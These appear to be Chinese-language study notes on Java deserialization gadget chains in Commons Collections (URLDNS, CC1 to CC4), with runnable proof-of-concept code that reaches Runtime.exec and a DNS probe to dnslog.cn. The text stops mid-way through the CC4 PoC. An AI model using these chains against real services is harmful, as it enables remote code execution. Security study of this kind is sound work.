URLDNS
先看波poc
package ysoserial;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class test {
public static void main(String[] args) throws Exception {
//0x01.生成payload
//设置一个hashMap
HashMap<URL, String> hashMap = new HashMap<URL, String>();
//设置我们可以接受DNS查询的地址
URL url = new URL("http://oo10yy.dnslog.cn");
//将URL的hashCode字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
//**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**
//1. 设置url的hashCode字段为0xdeadbeef
f.set(url, 0xdeadbeef);
//2. 将url放入hashMap中,key-value
hashMap.put(url, "123");
//修改url的hashCode字段为-1,为了触发DNS查询
f.set(url, -1);
//0x02.写入文件模拟网络传输
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
//0x03.读取文件,进行反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
分析,先看一下HashMap的readObject
private void readObject(java.io.ObjectInputStream s){
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
...
...
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
//由于HashMap是key:value存储的,putVal就是将键值放入HashMap
putVal(hash(key), key, value, false, false);
}
}
}
HashMap#hash(key)
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里的hashCode方法是key下的方法,我们令其为URL,也就是
URL#hashCode()
//hashCode默认=-1
private int hashCode = -1;
//url传输实现类
transient URLStreamHandler handler;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
URLStreamHandler#hashCode()
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
...
...
return h;
}
URLStreamHandler#getHostAddress(),在getHost触发dns解析
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);//这一步根据域名获取ip,进行一次dns
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
值得一提的是poc中首先将url的hashCode设置成任意再设置成-1,是因为
HashMap#put中有一次hash(key)操作
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
所以如果直接将其设置为-1就会本地触发一次URLDNS干扰判断,而ysoserial在新建URL对象时传入了一个自己的handler,这个handler继承了URLStreamHandler,并将getHostAddress置空,这样在生成payload的时候虽然hashCode=-1但是不会触发dns
CC1
TransformedMap
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\Windows\\System32\\calc.exe"}),
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("aa","bb");
}
}
Transformer
是一个接口,里面有一个transform方法
public interface Transformer {
...
public Object transform(Object input);
}
TransformedMap
用于对Map
做一个修饰,如下decorate
函数会对传过来的map进行修饰,如keyTransformer
是针对map
中的key
做回调,valueTransformer
是针对map
中的value
做回调,并返回一个新的装饰好的TransformedMap
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
但是这里的key/valueTransformer
并不是一个函数,而是一个继承了Transformer
接口的实例,在转换Map的新元素时就会调用该实例下的transform
方法
demo中首先通过Transformer[]
将transformers
赋值为多个Transformer
,内容为
1.ConstantTransformer
:保存并返回传过来的对象,在这里也就是Runtime.getRuntime()
2.InvokerTransformer
:初始构造函数为:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;//方法名(exec)
iParamTypes = paramTypes;//参数类型(String.class)
iArgs = args;//参数({"C:\\Windows\\System32\\calc.exe"})
}
然后将其放入ChainedTransformer
的实例中,它的transform
函数如下
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
然后新建一个Map,进行针对value的装饰
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
在对outerMap
放入新元素时调用transformerChain
下的transform函数中,也就是ChainedTransformer#transform
上面也看了,就是会遍历每一个iTransformers
,并执行该iTransformers的transform,
首先ConstantTransformer
:保存并返回传过来的对象Runtime.getRuntime()
其次第二个将ConstantTransformer返回的结果(Runtime.getRuntime()
)当作参数传入InvokerTransformer
,执行exec函数,有点类似这个:
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe")
不过这个demo是一个理想的poc,首先如果加上反序列化(如下),会报Runtime没有serializeable
Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
//outerMap.put("aa","bb");
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(outerMap);
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
但是可以通过反射来获得Runtime对象而不是Runtime类
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");
转换成Transformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
这样就能序列化了
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("123","123");
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
//outerMap.put("aa","bb");
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(outerMap);
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
Map outMap_2 = (Map) fin.readObject();//序列化后反序列化得到一个Map
outMap_2.put("aa","bb");//put触发transform方法
}
但是有点鸡肋,因为还需要服务端手动往map放值,接下来使用AnnotationInvocationHandler#readObject
来自动触发,要求jdk1.7
readObject(本地是1.8就直接复制了别人的代码emmm)
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
//默认反序列化
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();//
Iterator var4 = this.memberValues.entrySet().iterator();//获取我们构造map的迭代器
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();//遍历map迭代器
String var6 = (String)var5.getKey();//获取key的名称
Class var7 = (Class)var3.get(var6);//获取var2中相应key的class类?这边具体var3是什么个含义不太懂,但是肯定var7、8两者不一样
if (var7 != null) {
Object var8 = var5.getValue();//获取map的value
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
//两者类型不一致,给var5赋值!!具体赋值什么已经不关键了!只要赋值了就代表执行命令成功
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}
注意到最后一个if语句里执行了setValue,也就是说反序列化时会自动触发Map中的transform
先看一下构造方法
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
this.type = var1;//传入的var1到this.type
this.memberValues = var2;//我们的map传入this.memberValues
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
由于AnnotationInvocationHandler
是一个内置类不能直接实例化,所以需要反射
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class,outerMap);
此时
this.type=Retention.class;
this.memberValues=outerMap;
@Retention可以用来修饰注解,是注解的注解,称为元注解
@Documented//被写入javadoc文档
@Retention(RetentionPolicy.RUNTIME)//生命周期为运行时级别
@Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上)
public @interface Retention {
/**
* Returns the retention policy.
* @return the retention policy
*/
RetentionPolicy value();
}
例如:
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface DBTable {
String name() default "";//default是默认值
}
---------------使用------------------
@DBTable(name = "MEMBER")
public class Member {
}
偷张图
在AnnotationInvocationHandler#readObject
中var2首先会得到this.type(Retention.class)的注解
Annotation Type:
Member types: {value=class java.lang.annotation.RetentionPolicy}
Member defaults: {}
Retention policy: RUNTIME
Inherited: false
然后var3=var2.memberTypes()
得到一个{value : Member types}键值对
var4得到传入的Map的迭代对象
Iterator var4 = this.memberValues.entrySet().iterator();
如果要保证能进入if,那var7就不能为空,也就是var3,中有var6这个键
Entry var5 = (Entry)var4.next();//获取到传入的{key:value}
String var6 = (String)var5.getKey();//获取传入的键值对的键名key
Class var7 = (Class)var3.get(var6);
if (var7 != null)
{
//触发命令执行处
}
例如我们设置innerMap.put("value":"123")
此时
var5={"value":"123"};
var6="value";
var3={"value":"class java.lang.annotation.RetentionPolicy"};
var7="class java.lang.annotation.RetentionPolicy"
var7不为空,反序列化触发setValue,触发transform完成自动调用,下面放出jdk1.8的调试信息(懒得弄1.7了对照着1.8看吧..)
poc:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","123");
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
//outerMap.put("aa","bb");
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class,outerMap);
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
}
在jdk1.8中的AnnotationInvocationHandler#readObject
不直接使用我们传入的Map了,而是新建了一个LinkedHashMap然后把键值放进去,所以即使setValue也不是我们传入的Map的set了
LinkedHashMap var7 = new LinkedHashMap();
u1s1 CC链确实不好理解
lazymap
换个思路,看看lazymap如何触发
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执 行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:
如下:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key); //触发transform
map.put(key, value);
return value;
}
return map.get(key);
}
但是在sun.reflect.annotation.AnnotationInvocationHandler#readObject
中并没有直接调用get方法,而AnnotationInvocationHandler#invoke
中有,那么就想办法调用invoke
public Object invoke(Object var1, Method var2, Object[] var3) {
...
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);//调用了get
...
}
ysoserial使用的是JAVA代理
作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需要用到 java.reflect.Proxy
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),//类加载器
new Class[] {Map.class},//代理对象
handler//实现了InvocationHandler接口的对象,包含代理逻辑
);
例子:
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map){
this.map=map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().compareTo("get")==0){
return "hack obj";
}
System.out.println("ExampleInvocationHandler is there....");
return method.invoke(this.map,args);
}
}
该类继承了InvocationHandler并重写invoke,作用为监听get时间
在用test类跑一下
public class test {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
会发现得到的是hack obj,因为我们将ExampleInvocationHandler
用做了代理,在用代理的proxyMap进行get时就会被ExampleInvocationHandler监听到并返回hack obj
也就相当于我们能通过代理来调用invoke函数
同理我们能把AnnotationInvocationHandler
用Proxy进行代理,在readObject时调用任意的方法就会触发AnnotationInvocationHandler#invoke
,然后进入LazyMap#get
=>触发transform
poc
//首先对照上面的poc将TransformedMap替换成LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformersChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//先得到handler
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
//得到代理proxyMap
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
//最后需要把proxyMap放入InvocationHandler中,不然无法序列化
handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
new ConstantTransformer(1)//别管,加上就是了,P牛解释是:隐蔽了启动进程的日志特征
};
Transformer transformersChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformersChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
jdk>1.8
解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get()的地⽅
为:org.apache.commons.collections.keyvalue.TiedMapEntry
在getValue函数中调用了get
public Object getValue() {
return map.get(key);
}
在hashCode中调用了getValue
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
现在问题到了如何触发hashCode了,ysoserial中找的利用链为:
java.util.HashSet#readObject->HashMap#put()->HashMap#hash(key)->TiedMapEntry#hashCode()
P牛找的:
java.util.HashMap#readObject->HashMap#hash()->TiedMapEntry#hashCode()
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
...
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);//HashMap#readObject->HashMap#hash()
}
}
}
因为HashMap#hash
中会调用hashCode
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
所以只需要令HashMap
的key
为TiedMapEntry
即可
构造poc
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
这里为了避免本地调用,先用一个fakeTransformers,最后在用transformers替换
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer transformersChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformersChain);
TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey");//把outerMap放入TiedMapEntry
Map expMap = new HashMap();
expMap.put(tme,"valuevalue");//前面说了,要将TiedMapEntry对象当作HashMap的key
outerMap.remove("keykey");
Field fa = ChainedTransformer.class.getDeclaredField("iTransformers");//
fa.setAccessible(true);
fa.set(transformersChain,transformers);//将真正的transformers放入exp中
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
中间有一步outerMap.remove("keykey")
如果把他去掉再在LazyMap#get中打断点就会发现
map.containsKey(key)
为True,无法进入if循环,也就无法触发transform
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) { //key = "keykey"
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
这是因为上一步把TiedMapEntry对象put进expMap时,expMap作为HashMap会自调用一次hash(key)
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
导致这个链在这里调用了一遍,因为这时是fakeTransformers,所以不会弹计算器,所以在这里手动将这个keykey移除就好了
参考:
P牛java安全漫谈
https://xz.aliyun.com/t/7031#toc-5
CC2
commons-collections4.0
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
PriorityQueue#readObject
只关心输入,反序列化后被存入queue,进入heapify方法
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
进入siftDown,此时第二个参数也就是queue[i]
可控
private void siftDown(int k, E x) { //x可控
if (comparator != null)
siftDownUsingComparator(k, x); //跟进siftDownUsingComparator
else
siftDownComparable(k, x);
}
其中comparator参数定义如下,可以通过反射来赋值
private final Comparator<? super E> comparator;
到这里我们已经到了利用链的这一步
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare() //这里
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
所以我们令PriorityQueue#Comparator
为TransformingComparator
TransformingComparator#compare()
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
看到transform了,跟cc1一样,transformer也可控
private final Transformer<? super I, ? extends O> transformer;
可根据cc1写出poc
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
//org.apache.commons.collections4.comparators
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
priorityQueue.add(1);
Field field = priorityQueue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue,transformingComparator);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
//System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
这里priorityQueue add两个是因为heapify中(size >>> 1) - 1 >=0 // 即 size>= 2
ysoserial
首先需要了解一下javassist
Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
public class test {
public static void main(String[] args) throws Exception {
String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}"; //payload
ClassPool pool = ClassPool.getDefault(); //返回默认的类池
//System.out.println(pool);
CtClass clazz = pool.get(test.class.getName()); //从类池中获取test类
clazz.setName("demo"); //名称为demo
clazz.makeClassInitializer().insertAfter(code); //makeClassInitializer为静态构造函数,即向clazz的static块中插入payload
//触发
byte[] payload = clazz.toBytecode();
DefiningClassLoader loader = new DefiningClassLoader(); //Java提供了ClassLoader从bytes数组中还原Class的方法,defineClass函数就是完成这一过程的函数。
Class cls = loader.defineClass("demo",payload);//将byte数组还原给demo
cls.newInstance();//实例化,触发static
}
}
https://blog.0kami.cn/2019/10/28/java/study-java-deserialized-commonscollections3-3/
看一下ysoserial的payload
首先用createTemplatesImpl()
生成一个Object
120行中向clazz的static块插入cmd,130行将clazz转换为字节码给templates,最后返回的Object templates就相当于一个恶意类
后面操作就是将上面说的利用链连起来,理一下步骤
首先触发PriorityQueue#readObject
进入PriorityQueue#heapify()
注意这里的queue属性已经在上面被赋值成了templates,进入siftDown
进入siftDownUsingComparator
因为上面comparator属性设置的是TransformingComparator的实例,所以触发TransformingComparator#compare()
并且
TransformingComparator#transformer
为InvokerTransformer
的实例触发InvokerTransformer#transform
接着触发TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
这里的bytecode是我们的字节码,398行创建类加载器loader
414行将字节码转换成class给_class,TemplatesImpl#defineTransletClasses
方法执行结束,回到getTransletInstance,455行对_class实例化,执行其中的static块
CC3
commons-collections3.1
ysoserial中这一段第一个ConstantTransformer
的参数变成了TrAXFilter
,而第二个transformer从InvokerTransformer
变成了InstantiateTransformer
先看一下InstantiateTransformer#transform()
这里对参数做了一个实例化
简单来看,该函数对输入的input(这里就是TrAXFilter.class)做实例化的操作。这里看起来,其实有点像php中找对应的__constructs,在Java里我们就去找构造函数里做了危险操作的class。
TrAXFilter的构造调用了newTransformer,这里就跟cc2连上了
所以InstantiateTransformer的第二个参数应该是templatesImpl,也就是包含字节码的实例
调用链:
HashMap#readObject()->HashMap#Hash()->
TiedMapEntry#HashCode()->TiedMapEntry#getValue()->
LazyMap#get()->各种transformer()...->实例化还原字节码
poc
//jdk1.8
public class test {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();
byte[][] bytecode = new byte[][]{bytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates,"_bytecodes",bytecode);
setField(templates,"_name","test");
setField(templates,"_class",null);
setField(templates,"_tfactory",TransformerFactoryImpl.class.newInstance());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey");
Map expMap = new HashMap();
expMap.put(tme,"valuevalue");
//outerMap.remove("keykey");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setField(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
}
低版本用的是AnnotationInvocationHandler
因为要用到invoke,所以需要代理
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
...
oos.writeObject(handler);
CC4
4是2的前半加3的后半,用一个师傅的调用链总结
https://blog.0kami.cn/2019/11/05/java/study-java-deserialized-commonscollections4/
CommonsCollection2:
PriorityQueue.readObject
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
... templates Gadgets ...
-> Runtime.getRuntime().exec()
CommonsCollection4:
PriorityQueue.readObject
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> ChainedTransformer.transform()
-> InstantiateTransformer.transform()
-> TemplatesImpl.newTransformer()
... templates Gadgets ...
-> Runtime.getRuntime().exec()
融合一下
public class test {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();
byte[][] bytecode = new byte[][]{bytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates,"_bytecodes",bytecode);
setField(templates,"_name","test");
setField(templates,"_class",null);
setField(templates,"_tfactory",TransformerFactoryImpl.class.newInstance());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
priorityQueue.add(1);
Field field = priorityQueue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue,transformingComparator);
